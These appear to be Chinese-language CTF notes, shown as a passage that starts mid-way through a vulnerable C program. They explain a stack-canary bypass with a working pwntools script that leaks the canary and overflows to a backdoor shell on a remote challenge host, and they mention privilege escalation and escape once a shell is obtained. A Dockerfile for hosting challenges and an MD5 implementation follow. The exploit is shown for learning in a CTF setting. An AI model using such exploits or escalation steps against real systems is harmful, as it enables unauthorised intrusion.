	printf("Hello, %s. Introduce yourself: ", buf);
	read(STDIN_FILENO, buf, 0x1000);
	printf("Bye.\n");
    return 0;
}

好,现在我来讲解为什么我们需要绕过Canary:
我们构造栈溢出的本质是劫持 main 函数让地址最终指向我们想要的地址.
而Canary也是在main函数结束的地点进行一次检查.所以在前期我们可以肆意RE,只要最后把Canary的值搞到,最后交代上去,就不会有人发现.
所以我们第一次可以询问一个刚好RE的值盖住Canary的最低位,最后补齐即可.脚本:

from pwn import *
p = remote('202.198.27.90',40164)  # 打远程时替换

backdoor_addr = 0x40123b
ret_addr = 0x40123a

payload1 = b'A' * 265
p.send(payload1)  # 不用换行，读满 256
p.recvuntil(b'Hello, ')
res=p.recvuntil(b'. Introduce yourself:')
rres=bytes(1)+res[265:272]
print(rres)
pay=b'A'*264+rres+b'A'*8+p64(ret_addr)+p64(backdoor_addr)
p.send(pay)
p.interactive()

Ex. 拿到靶机的sh之后我们能干什么呢?

1. 获取flag.

2. 尝试提权(root),然后尝试逃逸

Remote

不太会用docker自己造密码题,只好借鉴一下别人的是怎么写的

1

FROM ubuntu:22.04

RUN apt-get update -q \
    && apt-get install -q -y --no-install-recommends \
        build-essential \
        libssl-dev \
        socat \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m signing

WORKDIR /home/signing

COPY src/ .

RUN gcc -o chall chall.c rsa.c prime.c base85.c -lcrypto

RUN chown -R root:signing /home/signing \
    && chmod -R 750 /home/signing \
    && chmod 740 flag

USER signing

CMD socat -T 60 -d -d TCP-LISTEN:1337,reuseaddr,fork EXEC:'./chall'

CTF板子

md5

namespace MD5 {
    // 常量定义 - MD5算法的标准常量
    class Constants {
    public:
        // 每次处理的数据块大小（字节）
        static const size_t BLOCK_SIZE;
        // MD5初始状态（小端序）
        static const uint32_t INIT_A;
        static const uint32_t INIT_B;
        static const uint32_t INIT_C;
        static const uint32_t INIT_D;
        
        // 正弦函数的整数部分，用于每轮运算
        static const std::array<uint32_t, 64> K;
        
        // 每轮左循环移位的位数
        static const std::array<uint32_t, 64> S;
    };
    
    // 在类外定义静态常量成员
    const size_t Constants::BLOCK_SIZE = 64;
    const uint32_t Constants::INIT_A = 0x67452301;
    const uint32_t Constants::INIT_B = 0xEFCDAB89;
    const uint32_t Constants::INIT_C = 0x98BADCFE;
    const uint32_t Constants::INIT_D = 0x10325476;
    
    const std::array<uint32_t, 64> Constants::K = {
        0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee,
        0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
        0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be,
        0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821,
        0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa,
        0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8,
        0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed,
        0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a,
        0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c,
        0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
        0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05,
        0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665,
        0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039,
        0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1,
        0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1,
        0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391
    };
    
    const std::array<uint32_t, 64> Constants::S = {
        7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
        5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20,
        4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
        6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21
    };
    
    // 辅助函数：左旋转
    static inline uint32_t left_rotate(uint32_t x, uint32_t n) {
        return (x << n) | (x >> (32 - n));
    }
    
    // 辅助函数：字节顺序转换（小端序）
    static inline uint32_t to_little_endian(uint32_t x) {
        return ((x & 0xFF) << 24) |
               ((x & 0xFF00) << 8) |
               ((x & 0xFF0000) >> 8) |
               ((x & 0xFF000000) >> 24);
    }
    
    // MD5算法核心的四个非线性函数（F, G, H, I）
    static inline uint32_t F(uint32_t x, uint32_t y, uint32_t z) {
        return (x & y) | (~x & z);
    }
    
    static inline uint32_t G(uint32_t x, uint32_t y, uint32_t z) {
        return (x & z) | (y & ~z);
    }
    
    static inline uint32_t H(uint32_t x, uint32_t y, uint32_t z) {
        return x ^ y ^ z;
    }
    
    static inline uint32_t I(uint32_t x, uint32_t y, uint32_t z) {
        return y ^ (x | ~z);
    }
    
    // 处理单个64字节数据块
    static void process_block(const uint8_t* block, uint32_t& a, uint32_t& b, uint32_t& c, uint32_t& d) {
        // 将64字节块转换为16个32位字
        uint32_t M[16];
        for (size_t i = 0; i < 16; ++i) {
            M[i] = (block[i * 4]) |
                   (block[i * 4 + 1] << 8) |
                   (block[i * 4 + 2] << 16) |
                   (block[i * 4 + 3] << 24);
        }
        
        // 保存初始哈希值
        uint32_t AA = a;
        uint32_t BB = b;
        uint32_t CC = c;
        uint32_t DD = d;
        
        // 第一轮：F函数
        for (uint32_t i = 0; i < 16; ++i) {
            uint32_t f = F(b, c, d);
            uint32_t g = i;
            
            uint32_t temp = d;
            d = c;
            c = b;
            b = b + left_rotate((a + f + Constants::K[i] + M[g]), Constants::S[i]);
            a = temp;
        }
        
        // 第二轮：G函数
        for (uint32_t i = 16; i < 32; ++i) {
            uint32_t f = G(b, c, d);
            uint32_t g = (5 * i + 1) % 16;
            
            uint32_t temp = d;
            d = c;
            c = b;
            b = b + left_rotate((a + f + Constants::K[i] + M[g]), Constants::S[i]);
            a = temp;
        }
        
        // 第三轮：H函数
        for (uint32_t i = 32; i < 48; ++i) {
            uint32_t f = H(b, c, d);
            uint32_t g = (3 * i + 5) % 16;
            
            uint32_t temp = d;
            d = c;
            c = b;
            b = b + left_rotate((a + f + Constants::K[i] + M[g]), Constants::S[i]);
            a = temp;
        }
        
        // 第四轮：I函数
        for (uint32_t i = 48; i < 64; ++i) {
            uint32_t f = I(b, c, d);
            uint32_t g = (7 * i) % 16;
            
            uint32_t temp = d;
            d = c;
            c = b;
            b = b + left_rotate((a + f + Constants::K[i] + M[g]), Constants::S[i]);
            a = temp;
        }
        
        // 加到原来的结果上
        a += AA;
        b += BB;
        c += CC;
        d += DD;
    }
    
    // 将32位整数转换为16进制字符串
    static std::string uint32_to_hex(uint32_t value) {
        std::stringstream ss;
        ss << std::hex << std::setfill('0') << std::setw(8);
        // MD5输出是小端序，但十六进制字符串通常显示为大端序
        // 所以需要调整字节顺序
        value = to_little_endian(value);
        ss << value;
        return ss.str();
    }
    
    // 主要的MD5加密函数
    std::string encrypt(const std::string& input) {
        // 初始化MD5缓冲区（小端序）
        uint32_t a = Constants::INIT_A;
        uint32_t b = Constants::INIT_B;
        uint32_t c = Constants::INIT_C;
        uint32_t d = Constants::INIT_D;
        
        // 原始消息长度（字节）
        uint64_t original_length = input.length();
        
        // 计算填充后的长度
        // 消息需要填充到 448 mod 512 位（56 mod 64 字节）
        size_t padded_length = ((original_length + 8) / 64 + 1) * 64;
        std::vector<uint8_t> padded_message(padded_length, 0);
        
        // 复制原始消息
        std::copy(input.begin(), input.end(), padded_message.begin());
        
        // 添加填充位：1个1后面跟0，直到满足条件
        padded_message[original_length] = 0x80; // 二进制: 10000000
        
        // 添加原始消息长度（以位为单位，小端序）
        uint64_t bit_length = original_length * 8;
        for (int i = 0; i < 8; ++i) {
            padded_message[padded_length - 8 + i] = static_cast<uint8_t>(bit_length >> (i * 8));
        }
        
        // 处理每个64字节块
        for (size_t i = 0; i < padded_length; i += Constants::BLOCK_SIZE) {
            process_block(&padded_message[i], a, b, c, d);
        }
        
        // 将最终哈希值转换为十六进制字符串
        std::string result = 
            uint32_to_hex(a) + 
            uint32_to_hex(b) + 
            uint32_to_hex(c) + 
            uint32_to_hex(d);
        
        return result;
    }
}